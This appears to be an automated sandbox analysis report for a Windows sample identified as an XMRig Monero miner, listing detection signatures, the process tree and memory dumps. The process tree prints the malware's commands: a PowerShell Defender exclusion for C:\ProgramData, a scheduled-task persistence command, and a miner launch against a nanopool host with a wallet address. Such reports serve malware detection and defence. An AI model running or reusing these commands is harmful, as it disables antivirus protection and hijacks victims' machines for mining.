Analysis
- max time kernel
53s - max time network
145s - platform
windows7_x64 - resource
win7-20221111-en - resource tags
- submitted
21/11/2022, 03:14
General
- Target file.exe
- Size 1.2MB
- Sample221121-drbffsbf68
- SHA256 4d5aae82a49446f9e35b41ece3c9e04934deb114257f2e2a1780becb0ce19039
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 36 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp2434.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\winrar\OWT.exe"C:\ProgramData\winrar\OWT.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
OWT.exe
OWT.exe
tmp2434.tmp.bat
590aee7bdd69b59b.customDestinations-ms
OWT.exe
memory/764-142-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/764-144-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/764-146-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/764-140-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/764-138-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/764-137-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/764-166-0x0000000000000000-0x0000000001000000-memory.dmp
memory/764-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/764-164-0x0000000000000000-0x0000000001000000-memory.dmp
memory/764-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/864-74-0x000007FEFC451000-0x000007FEFC453000-memory.dmp
memory/864-78-0x000007FEEC890000-0x000007FEED2B3000-memory.dmp
memory/864-86-0x000000000242B000-0x000000000244A000-memory.dmp
memory/864-85-0x0000000002424000-0x0000000002427000-memory.dmp
memory/864-84-0x000000001B760000-0x000000001BA5F000-memory.dmp
memory/864-83-0x0000000002424000-0x0000000002427000-memory.dmp
memory/864-82-0x000007FEF61C0000-0x000007FEF6D1D000-memory.dmp
memory/1272-119-0x000000001B7B0000-0x000000001BAAF000-memory.dmp
memory/1272-122-0x000000000292B000-0x000000000294A000-memory.dmp
memory/1272-121-0x000000000292B000-0x000000000294A000-memory.dmp
memory/1272-120-0x0000000002924000-0x0000000002927000-memory.dmp
memory/1272-116-0x000007FEEC650000-0x000007FEED1AD000-memory.dmp
memory/1272-115-0x000007FEED1B0000-0x000007FEEDBD3000-memory.dmp
memory/1680-127-0x000007FEFB370000-0x000007FEFB38C000-memory.dmp
memory/1680-133-0x000007FEFB610000-0x000007FEFB637000-memory.dmp
memory/1680-163-0x0000000000F90000-0x0000000001146000-memory.dmp
memory/1680-162-0x000000001B106000-0x000000001B125000-memory.dmp
memory/1680-92-0x000007FEF72D0000-0x000007FEF733F000-memory.dmp
memory/1680-93-0x000007FEF7230000-0x000007FEF72CC000-memory.dmp
memory/1680-94-0x000007FEFF9B0000-0x000007FEFFA17000-memory.dmp
memory/1680-95-0x00000000779B0000-0x0000000077AAA000-memory.dmp
memory/1680-96-0x000007FEFE460000-0x000007FEFE4FF000-memory.dmp
memory/1680-97-0x0000000077AB0000-0x0000000077BCF000-memory.dmp
memory/1680-99-0x000007FEFFE40000-0x000007FEFFEB1000-memory.dmp
memory/1680-98-0x000007FEFDAF0000-0x000007FEFDB5C000-memory.dmp
memory/1680-100-0x000007FEF6F60000-0x000007FEF7057000-memory.dmp
memory/1680-101-0x000007FEFE350000-0x000007FEFE42B000-memory.dmp
memory/1680-102-0x000007FEF5940000-0x000007FEF632C000-memory.dmp
memory/1680-103-0x000007FEFEAF0000-0x000007FEFEC1D000-memory.dmp
memory/1680-104-0x000007FEFDF90000-0x000007FEFE193000-memory.dmp
memory/1680-105-0x0000000000600000-0x0000000000643000-memory.dmp
memory/1680-106-0x0000000000F90000-0x0000000001146000-memory.dmp
memory/1680-107-0x000007FEFC0E0000-0x000007FEFC136000-memory.dmp
memory/1680-108-0x0000000000F90000-0x0000000001146000-memory.dmp
memory/1680-109-0x000007FEF6E30000-0x000007FEF6F5C000-memory.dmp
memory/1680-136-0x0000000000F90000-0x0000000001146000-memory.dmp
memory/1680-135-0x000007FEFD030000-0x000007FEFD08B000-memory.dmp
memory/1680-134-0x000007FEFDBB0000-0x000007FEFDBE6000-memory.dmp
memory/1680-132-0x000007FEFD7E0000-0x000007FEFD805000-memory.dmp
memory/1680-131-0x000007FEFAC20000-0x000007FEFAC91000-memory.dmp
memory/1680-130-0x000007FEFABB0000-0x000007FEFAC14000-memory.dmp
memory/1680-129-0x000007FEFE500000-0x000007FEFE54D000-memory.dmp
memory/1680-128-0x000007FEF1940000-0x000007FEF19A2000-memory.dmp
memory/1680-126-0x000007FEFD210000-0x000007FEFD227000-memory.dmp
memory/1680-117-0x000007FEFBD90000-0x000007FEFBFA5000-memory.dmp
memory/1680-123-0x000007FEFE1A0000-0x000007FEFE277000-memory.dmp
memory/1680-124-0x000007FEFFEC0000-0x000007FEFFEDF000-memory.dmp
memory/1680-125-0x000007FEFD360000-0x000007FEFD382000-memory.dmp
memory/2000-65-0x000007FEF6330000-0x000007FEF6D1C000-memory.dmp
memory/2000-64-0x000007FEFE350000-0x000007FEFE42B000-memory.dmp
memory/2000-70-0x000007FEFC0E0000-0x000007FEFC136000-memory.dmp
memory/2000-68-0x000007FEFEAF0000-0x000007FEFEC1D000-memory.dmp
memory/2000-71-0x00000000011F0000-0x00000000013A6000-memory.dmp
memory/2000-72-0x000007FEF6F30000-0x000007FEF705C000-memory.dmp
memory/2000-55-0x000007FEF77A0000-0x000007FEF780F000-memory.dmp
memory/2000-56-0x000007FEF72A0000-0x000007FEF733C000-memory.dmp
memory/2000-79-0x000007FEFFEC0000-0x000007FEFFEDF000-memory.dmp
memory/2000-63-0x000007FEF71A0000-0x000007FEF7297000-memory.dmp
memory/2000-69-0x000007FEFDF90000-0x000007FEFE193000-memory.dmp
memory/2000-67-0x0000000000510000-0x0000000000553000-memory.dmp
memory/2000-66-0x00000000011F0000-0x00000000013A6000-memory.dmp
memory/2000-62-0x000007FEFFE40000-0x000007FEFFEB1000-memory.dmp
memory/2000-61-0x000007FEFDAF0000-0x000007FEFDB5C000-memory.dmp
memory/2000-60-0x0000000077AB0000-0x0000000077BCF000-memory.dmp
memory/2000-59-0x000007FEFE460000-0x000007FEFE4FF000-memory.dmp
memory/2000-80-0x00000000011F0000-0x00000000013A6000-memory.dmp
memory/2000-81-0x0000000000510000-0x0000000000553000-memory.dmp
memory/2000-58-0x00000000779B0000-0x0000000077AAA000-memory.dmp
memory/2000-57-0x000007FEFF9B0000-0x000007FEFFA17000-memory.dmp